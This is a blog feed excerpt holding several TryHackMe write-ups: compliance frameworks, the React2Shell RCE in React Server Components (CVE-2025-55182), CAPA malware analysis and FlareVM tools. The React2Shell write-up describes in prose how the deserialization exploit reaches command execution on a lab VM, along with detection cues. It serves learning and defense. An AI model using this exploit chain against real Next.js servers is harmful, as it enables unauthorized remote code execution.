&lt;h2&gt;Task 6: NIST Special Publications&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;NIST 800-53&lt;/strong&gt;: A catalog of security and privacy controls for information systems (e.g., Program Management). Compliance best practices include Discovery, Mapping controls to assets, and Governance.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;NIST 800-63B&lt;/strong&gt;: Guidelines for digital identity practices, focusing on authentication, verification, and credential management (passwords, biometrics).&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Per NIST 800-53, in which control category does the media protection lie?&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Physical&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;Per NIST 800-53, in which control category does the incident response lie?&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Administrative&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;Which phase (name) of NIST 800-53 compliance best practices results in correlating identified assets and permissions?&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Map&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Task 7: Information Security Management and Compliance&lt;/h2&gt;
&lt;p&gt;This task contrasts IS Management (planning/execution of security) with Compliance.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;ISO/IEC 27001&lt;/strong&gt;: An international standard for Information Security Management Systems (ISMS). Key components include Risk Assessment, Risk Treatment, and the Statement of Applicability (SoA).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;SOC 2&lt;/strong&gt;: An auditing framework by AICPA for service organizations, assessing controls based on the CIA triad and privacy. It assures clients that their data is handled securely.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Which ISO/IEC 27001 component involves selecting and implementing controls to reduce the identified risks to an acceptable level?&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Risk treatment&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;In SOC 2 generic controls, which control shows that the system remains available?&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Availability&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Task 8: Conclusion&lt;/h2&gt;
&lt;p&gt;The room provided a comprehensive overview of governance and regulation frameworks used to protect organizational assets. It covered laws like GDPR and PCI DSS, the GRC framework, and enablers like ISO/IEC 27001 and NIST 800-53. The key takeaway is that while 100% security is unrealistic, robust policies and continuous improvement are essential for risk mitigation.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-1.Bg2c2FXM_Z1VhtPA.webp&quot; alt=&quot;alt text&quot;&gt;
&lt;img src=&quot;https://farros.co/_astro/image-3.u2HkX5oJ_4Ld1z.webp&quot; alt=&quot;alt text&quot;&gt;
&lt;img src=&quot;https://farros.co/_astro/image.CCH3-P4z_ZLH1ny.webp&quot; alt=&quot;alt text&quot;&gt;
&lt;img src=&quot;https://farros.co/_astro/image-2.CESKycqi_2bfEpA.webp&quot; alt=&quot;alt text&quot;&gt;
&lt;img src=&quot;https://farros.co/_astro/image-5.B2ioOYdI_ZmglG6.webp&quot; alt=&quot;alt text&quot;&gt;
&lt;img src=&quot;https://farros.co/_astro/image-4.CWTDwnKl_ZT6HBs.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Click the View Site button at the top of the task to launch the static site in split view. What is the flag after completing the exercise?&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;THM{REDACTED}&lt;/p&gt;
&lt;/blockquote&gt;</content:encoded><h:img src="/_astro/image-.l_h6jgbi.png"/><enclosure url="/_astro/image-.l_h6jgbi.png"/></item><item><title>React2Shell: CVE-2025-55182 | TryHackMe Write-Up</title><link>https://farros.co/blog/react2shell-cve-2025-55182-tryhackme-write-up/</link><guid isPermaLink="true">https://farros.co/blog/react2shell-cve-2025-55182-tryhackme-write-up/</guid><description>Explore the CVE-2025-55182 vulnerability in React server components.</description><pubDate>Wed, 10 Dec 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Here i want to share about my write-up for the room &lt;a href=&quot;https://tryhackme.com/room/react2shellcve202555182&quot;&gt;React2Shell: CVE-2025-55182&lt;/a&gt;, explore the CVE-2025-55182 vulnerability in React server components. I wrote this in 2025 and hope it is useful for learning about cybersecurity.&lt;/p&gt;
&lt;h2&gt;Task 1: Introduction&lt;/h2&gt;
&lt;p&gt;This task introduces CVE-2025-55182, dubbed &quot;React2Shell,&quot; a critical vulnerability (CVSS 10.0) affecting React Server Components (RSC) and frameworks like Next.js. The flaw allows unauthenticated remote code execution via a specific HTTP request due to an unsafe deserialization issue. To mitigate this, users must update vulnerable packages (like &lt;code&gt;react-server-dom-webpack&lt;/code&gt;) to patched versions (e.g., 19.0.1+).&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Having outlined the basics, let’s now dive into the key technical notes.&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;No answer needed&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2&gt;Task 2: Understanding React Server Components and the Flight Protocol&lt;/h2&gt;
&lt;p&gt;This section explains the architecture of React Server Components (RSC), where components are rendered on the server for performance. The server-client communication relies on the &lt;strong&gt;React Flight&lt;/strong&gt; protocol, which handles data serialization using specific markers like &lt;code&gt;$@&lt;/code&gt; (for chunk references) and &lt;code&gt;$B&lt;/code&gt; (for Blob references). The vulnerability stems from the server processing these references without properly validating if the requested properties are legitimate exports.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;What is the symbol that denotes a Blob reference?&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;$B&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2&gt;Task 3: The Core Vulnerability: Unsafe Deserialization&lt;/h2&gt;
&lt;p&gt;CVE-2025-55182 is identified as an &lt;em&gt;unsafe deserialization vulnerability&lt;/em&gt; located in the &lt;code&gt;requireModule&lt;/code&gt; function of the &lt;code&gt;react-server-dom-webpack&lt;/code&gt; package. The flaw exists because the code uses bracket notation (&lt;code&gt;moduleExports[metadata[2]]&lt;/code&gt;) without validation. This allows an attacker to traverse the prototype chain (e.g., accessing &lt;code&gt;.constructor&lt;/code&gt;) and obtain a reference to the global &lt;code&gt;Function&lt;/code&gt; constructor, enabling arbitrary code execution.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;To deepen our understanding, let’s now study the exploitation chain through a proof-of-concept code analysis.&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;No answer needed&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2&gt;Task 4: The Exploitation Chain: From Deserialization to Remote Code Execution&lt;/h2&gt;
&lt;p&gt;This task breaks down the exploit into three stages:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Creating a Fake Chunk:&lt;/strong&gt; The attacker constructs a malicious object that references itself via the &lt;code&gt;then&lt;/code&gt; property.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Exploiting the Blob Handler:&lt;/strong&gt; Using the &lt;code&gt;$B&lt;/code&gt; reference, the exploit triggers a function call (&lt;code&gt;_formData.get&lt;/code&gt;) on the malicious object, which has been polluted to point to the &lt;code&gt;Function&lt;/code&gt; constructor.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Achieving Code Execution:&lt;/strong&gt; The payload (e.g., a Node.js &lt;code&gt;execSync&lt;/code&gt; command) is passed to the &lt;code&gt;Function&lt;/code&gt; constructor, executing the arbitrary command on the system.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;Let’s analyse an actual proof-of-concept exploit in the next task.&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;No answer needed&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2&gt;Task 5: Analysing an Actual Proof-of-Concept&lt;/h2&gt;
&lt;p&gt;The content analyzes the raw HTTP POST request used for the attack. It requires the &lt;code&gt;Next-Action: x&lt;/code&gt; header to trigger server-side processing. The body uses &lt;code&gt;multipart/form-data&lt;/code&gt; containing three specific parts: the fake chunk object with the payload, a reference to that object (&lt;code&gt;$@0&lt;/code&gt;), and an empty array. This vulnerability is highly critical because it affects default Next.js configurations and requires no authentication.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;It’s time to see the exploit in action.&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;No answer needed&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2&gt;Task 6: Exploitation&lt;/h2&gt;
&lt;p&gt;In this practical task, users are instructed to use Burp Suite to attack a target VM on port 3000. The goal is to send the malicious payload to execute remote commands. The provided payload uses &lt;code&gt;execSync&lt;/code&gt; to run the &lt;code&gt;id&lt;/code&gt; command and returns the output in the server&apos;s response. The user must then modify the payload to read a flag located in &lt;code&gt;/etc&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Burp Suite is launched using a temporary project.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-1.CHGol9gX_mnuSs.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;Burp Suite initializes and loads the project environment.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-2.dI17Y-VK_1EYV5Q.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;You can confirm that you can view the app’s home page by visiting [IP_ADRESS]:3000. Now, it is time to exploit it. At the time of writing, our preferred choice is a payload that allows us to view the command execution result in the server’s response, as obtained from &lt;a href=&quot;https://github.com/Malayke/Next.js-RSC-RCE-Scanner-CVE-2025-66478&quot;&gt;https://github.com/Malayke/Next.js-RSC-RCE-Scanner-CVE-2025-66478&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;A new Repeater tab is opened to craft the exploit request.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-3.kJ24W8Wu_2h1vLs.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;The malicious RSC payload is inserted into the request body.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-4.BQsKCxKy_WOMDy.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;The payload is modified to run ls /etc to search for the flag file.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-6.I92DKm3r_2eCkCm.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;The target IP and port (10.48.153.181:3000) are configured correctly.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-7.C7Cfpbjx_3sz63.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;What is the name of the user running the vulnerable app?&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;ubuntu&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;The server response reveals the user information from the id command.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-5.6ys4xvbM_Z2oud68.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;Listing /etc shows the presence of flag.txt.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-8.DT_lhTz8_Z1Uz9hG.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;Reading the file with cat /etc/flag.txt reveals the final flag.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-9.Dmyv0n_X_ZggR6I.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;What is the flag in /etc?&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;THM{}&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2&gt;Task 7: Detection&lt;/h2&gt;
&lt;p&gt;This section provides methods for detecting React2Shell attacks. The primary indicators are the presence of the &lt;code&gt;Next-Action&lt;/code&gt; header combined with &lt;code&gt;multipart/form-data&lt;/code&gt; containing specific suspicious JSON keys (like &lt;code&gt;&quot;status&quot;: &quot;resolved_model&quot;&lt;/code&gt; or &lt;code&gt;&quot;$1:__proto__:then&quot;&lt;/code&gt;). A &lt;strong&gt;Snort&lt;/strong&gt; rule is provided to detect these network signatures, and an &lt;strong&gt;OSQuery&lt;/strong&gt; snippet is offered to scan endpoints for vulnerable versions of &lt;code&gt;react-server-dom-*&lt;/code&gt; packages.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;I&apos;ve read and am aware of the various elements that can be used to detect this vulnerability within my environment.&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;No answer needed&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2&gt;Task 8: Conclusion&lt;/h2&gt;
&lt;p&gt;The conclusion reminds users to only perform penetration tests with explicit permission. It notes that many PoCs found online for this CVE are fake or broken. A valid PoC requires the specific vulnerable library versions (e.g., React 19.2.0, Next 16.0.6). The recommended mitigation is to run &lt;code&gt;npm audit&lt;/code&gt; and upgrade servers to patched versions immediately.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;If you enjoyed this room, consider checking other rooms in the Recent Threats module.&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;No answer needed&lt;/p&gt;
&lt;/blockquote&gt;</content:encoded><h:img src="/_astro/image.CFpYc0Fu.png"/><enclosure url="/_astro/image.CFpYc0Fu.png"/></item><item><title>CAPA: The Basics | TryHackMe Write-Up</title><link>https://farros.co/blog/capa-the-basics-tryhackme-write-up/</link><guid isPermaLink="true">https://farros.co/blog/capa-the-basics-tryhackme-write-up/</guid><description>Learn to use CAPA to identify malicious capabilities.</description><pubDate>Mon, 06 Oct 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Here i want to share about my write-up for the room &lt;a href=&quot;https://tryhackme.com/room/capabasics&quot;&gt;CAPA: The Basics&lt;/a&gt; (Premium Room), learn to use CAPA to identify malicious capabilities. I wrote this in 2025 and hope it is useful for learning about cybersecurity.&lt;/p&gt;
&lt;h2&gt;Task 1: Introduction&lt;/h2&gt;
&lt;p&gt;CAPA is a tool designed to identify the capabilities present in executable files. It analyzes a file and applies a set of rules that describe common behaviors, allowing it to determine what the program is capable of doing, such as network communication, file manipulation, or process injection. The tool encapsulates years of reverse engineering knowledge, allowing analysts to quickly understand a program&apos;s functionality without manually reverse engineering the code.&lt;/p&gt;
&lt;p&gt;I&apos;m excited to learn more about CAPA!&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;No answer needed&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Task 2: Tool Overview: How CAPA Works&lt;/h2&gt;
&lt;p&gt;The two most used parameters are &lt;strong&gt;-v&lt;/strong&gt; (verbose) and &lt;strong&gt;-vv&lt;/strong&gt; (very verbose), which give a more detailed result but increase processing time.&lt;/p&gt;
&lt;p&gt;The output of the command includes tables showing the file&apos;s hashes (MD5, SHA1, SHA256) and mappings to frameworks like &lt;strong&gt;ATT&amp;#x26;CK&lt;/strong&gt; and &lt;strong&gt;MBC&lt;/strong&gt;, followed by a detailed list of the program&apos;s &lt;strong&gt;Capabilities&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;What command-line option would you use if you need to check what other parameters you can use with the tool? Use the shortest format.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;-h&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;What command-line options are used to find detailed information on the malware&apos;s capabilities? Use the shortest format.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;-v&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;What command-line options do you use to find very verbose information about the malware&apos;s capabilities? Use the shortest format.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;-vv&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;What PowerShell command will you use to read the content of a file?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Get-Content&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Task 3: Dissecting CAPA Results Part 1: General Information, MITRE and MAEC&lt;/h2&gt;
&lt;p&gt;This text dissects the results of running CAPA on the &lt;code&gt;cryptbot.bin&lt;/code&gt; file.&lt;/p&gt;
&lt;p&gt;The &lt;strong&gt;first block&lt;/strong&gt; contains basic information about the file, including its cryptographic hashes (md5, sha1, sha256), the analysis type (&lt;code&gt;static&lt;/code&gt;), the OS (&lt;code&gt;windows&lt;/code&gt;), format (&lt;code&gt;pe&lt;/code&gt;), architecture (&lt;code&gt;i386&lt;/code&gt;), and the file path.S&lt;/p&gt;
&lt;p&gt;The &lt;strong&gt;second block&lt;/strong&gt; maps the file&apos;s capabilities to the &lt;strong&gt;MITRE ATT&amp;#x26;CK&lt;/strong&gt; framework, a knowledge base that documents the tactics and techniques used by threat actors. This helps analysts map the file&apos;s behavior to an adversary&apos;s playbook.&lt;/p&gt;
&lt;p&gt;The &lt;strong&gt;third block&lt;/strong&gt; uses &lt;strong&gt;MAEC&lt;/strong&gt; (Malware Attribute Enumeration and Characterization), a specialized language for describing malware. The text highlights two common MAEC values used by CAPA:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-1.DELydvK3_Z1GIvBp.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;What is the sha256 of cryptbot.bin?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;ae7bc6b6f6ecb206a7b957e4bb86e0d11845c5b2d9f7a00a482bef63b567ce4c&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-2.VUe0T8u2_1Lr9nX.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;What is the Technique Identifier of Obfuscated Files or Information?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;T1027&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Task 4: Dissecting CAPA Results Part 2: Malware Behavior Catalogue&lt;/h2&gt;
&lt;p&gt;The &lt;strong&gt;Malware Behavior Catalogue (MBC)&lt;/strong&gt; serves as a catalogue of malware objectives and behaviors to support malware analysis, labelling, and reporting. It can link to ATT&amp;#x26;CK methods but does not duplicate ATT&amp;#x26;CK information.&lt;/p&gt;
&lt;p&gt;MBC content is represented in two formats:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;code&gt;OBJECTIVE::Behavior::Method[Identifier]&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;OBJECTIVE::Behavior::[Identifier]&lt;/code&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;The components are defined as follows:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Objective&lt;/strong&gt;: Based on ATT&amp;#x26;CK tactics but tailored for malware analysis, with additions like &lt;code&gt;Anti-Behavioral Analysis&lt;/code&gt; and &lt;code&gt;Anti-Static Analysis&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Micro-Objective&lt;/strong&gt;: Associated with micro-behaviors—actions that aren&apos;t necessarily malicious on their own but are often abused. Examples include &lt;code&gt;PROCESS&lt;/code&gt;, &lt;code&gt;MEMORY&lt;/code&gt;, &lt;code&gt;COMMUNICATION&lt;/code&gt;, and &lt;code&gt;DATA&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;MBC Behaviors&lt;/strong&gt;: A list of behaviors (e.g., &lt;code&gt;Virtual Machine Detection&lt;/code&gt;) and micro-behaviors (e.g., &lt;code&gt;Create Process&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Methods&lt;/strong&gt;: Details tied to behaviors, which can be considered sub-techniques (e.g., &lt;code&gt;Stack Strings&lt;/code&gt; is a method for &lt;code&gt;Executable Code Obfuscation&lt;/code&gt;).&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;What serves as a catalogue of malware objectives and behaviours?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Malware Behavior Catalogue&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Which field is based on ATT&amp;#x26;CK tactics in the context of malware behaviour?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Objective&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;What is the Identifier of &quot;Create Process&quot; micro-behavior?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;C0017&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;What is the behaviour with an Identifier of B0009?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Virtual Machine Detection&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Malware can be used to obfuscate data using base64 and XOR. What is the related micro-behavior for this?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Encode Data&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Which micro-behavior refers to &quot;Malware is capable of initiating HTTP communications&quot;?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;HTTP Communication&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Task 5: Dissecting CAPA Results Part 3: Namespaces&lt;/h2&gt;
&lt;p&gt;CAPA uses &lt;strong&gt;namespaces to group items with the same purpose&lt;/strong&gt;. The output shows a table with two columns: &lt;strong&gt;Capability&lt;/strong&gt; and &lt;strong&gt;Namespace&lt;/strong&gt;. The namespace has a hierarchical format, consisting of a &lt;strong&gt;Top-Level Namespace (TLN)&lt;/strong&gt; and a more specific namespace. For example, &lt;code&gt;anti-analysis&lt;/code&gt; is a TLN, and &lt;code&gt;anti-vm/vm-detection&lt;/code&gt; is a namespace under it.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;anti-analysis&lt;/code&gt;&lt;/strong&gt;: Contains rules to detect behaviors used by malware to evade analysis, such as obfuscation, packing, and anti-debugging.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;host-interaction&lt;/code&gt;&lt;/strong&gt;: Contains rules related to interactions with the host system, like file system or process manipulation.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;persistence&lt;/code&gt;&lt;/strong&gt;: Contains rules for behaviors associated with maintaining access on a compromised system.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;nursery&lt;/code&gt;&lt;/strong&gt;: A staging ground for rules that are not quite polished.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Which top-level Namespace contains a set of rules specifically designed to detect behaviours, including obfuscation, packing, and anti-debugging techniques exhibited by malware to evade analysis?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;anti-analysis&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Which namespace contains rules to detect virtual machine (VM) environments? Note that this is not the TLN or Top-Level Namespace.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;anti-vm/vm-detection&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Which Top-Level Namespace contains rules related to behaviours associated with maintaining access or persistence within a compromised system? This namespace is focused on understanding how malware can establish and maintain a presence within a compromised environment, allowing it to persist and carry out malicious activities over an extended period.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;persistence&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Which namespace addresses techniques such as String Encryption, Code Obfuscation, Packing, and Anti-Debugging Tricks, which conceal or obscure the true purpose of the code?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;obfuscation&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Which Top-Level Namespace Is a staging ground for rules that are not quite polished?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Nursery&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Proceed to the next task for the 2nd part of the discussion!&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;No answer needed&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Task 6: Dissecting CAPA Results Part 4: Capability&lt;/h2&gt;
&lt;p&gt;What rule yaml file was matched if the Capability or rule name is check HTTP status code?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;check-http-status-code.yml&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;What is the name of the Capability if the rule YAML file is reference-anti-vm-strings.yml?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;reference anti-VM strings&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Which TLN or Top-Level Namespace includes the Capability or rule name run PowerShell expression?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;load-code&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Check the conditions inside the check-for-windows-sandbox-via-registry.yml rule file from this link. What is the value of the API that ends in Ex is it looking for?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;RegOpenKeyEx&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Task 7: More Information, more fun&lt;/h2&gt;
&lt;p&gt;To determine the reason for triggering CAPA&apos;s rules and the conditions involved, we can use the &lt;strong&gt;-vv&lt;/strong&gt; (very verbose) parameter.&lt;/p&gt;
&lt;p&gt;Since the output is vast and challenging to analyze in a terminal, a two-step process is used:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;First, use the &lt;strong&gt;-j&lt;/strong&gt; and &lt;strong&gt;-vv&lt;/strong&gt; parameters to direct the output to a &lt;code&gt;.json&lt;/code&gt; file. The command is &lt;code&gt;capa.bin -j -vv .\cryptbot.bin &gt; cryptbot_vv.json&lt;/code&gt;. A pre-processed file named &lt;code&gt;cryptbot_vv.json&lt;/code&gt; is provided.&lt;/li&gt;
&lt;li&gt;Second, upload the generated &lt;code&gt;.json&lt;/code&gt; file to the &lt;strong&gt;CAPA Web Explorer&lt;/strong&gt;. An offline version is available on the virtual machine.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Which parameter allows you to output the result of CAPA into a .json file?
-j&lt;/p&gt;
&lt;p&gt;What tool allows you to interactively explore CAPA results in your web browser?
CAPA Web Explorer&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;CAPA Web Explorer&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Which feature of this CAPA Web Explorer allows you to filter options or results?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Global Search Box&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Task 8: Conclusion&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;No answer needed&lt;/p&gt;
&lt;/blockquote&gt;</content:encoded><h:img src="/_astro/image.DLQOJcQb.png"/><enclosure url="/_astro/image.DLQOJcQb.png"/></item><item><title>FlareVM: Arsenal of Tools | TryHackMe Write-Up</title><link>https://farros.co/blog/flarevm-arsenal-of-tools-tryhackme-write-up/</link><guid isPermaLink="true">https://farros.co/blog/flarevm-arsenal-of-tools-tryhackme-write-up/</guid><description>Learn the arsenal of investigative tools in FlareVM.</description><pubDate>Mon, 06 Oct 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Here i want to share about my write-up for the room &lt;a href=&quot;https://tryhackme.com/room/flarevmarsenaloftools&quot;&gt;FlareVM: Arsenal of Tools&lt;/a&gt; (Premium Room), learn the arsenal of investigative tools in FlareVM. I wrote this in 2025 and hope it is useful for learning about cybersecurity.&lt;/p&gt;
&lt;h2&gt;Task 1: Introduction&lt;/h2&gt;
&lt;p&gt;FlareVM, which stands for &quot;Forensics, Logic Analysis, and Reverse Engineering,&quot; is a curated collection of specialized tools designed for reverse engineers, malware analysts, incident responders, forensic investigators, and penetration testers, created by the FLARE Team at FireEye.&lt;/p&gt;
&lt;p&gt;I&apos;m ready to learn more about FlareVM!&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;No answer needed&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Task 2: Arsenal of Tools&lt;/h2&gt;
&lt;p&gt;Introduces specialized forensics, incident response, and malware investigation tools found inside the &lt;strong&gt;FlareVM&lt;/strong&gt;. The tools are grouped by their category.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Reverse Engineering &amp;#x26; Debugging&lt;/strong&gt;: Includes tools like &lt;strong&gt;Ghidra&lt;/strong&gt;, &lt;strong&gt;x64dbg&lt;/strong&gt;, &lt;strong&gt;OllyDbg&lt;/strong&gt;, and Radare2.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Disassemblers &amp;#x26; Decompilers&lt;/strong&gt;: Includes CFF Explorer and RetDec.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Static &amp;#x26; Dynamic Analysis&lt;/strong&gt;: Includes &lt;strong&gt;Process Hacker&lt;/strong&gt;, PEview, and Dependency Walker.&lt;/li&gt;
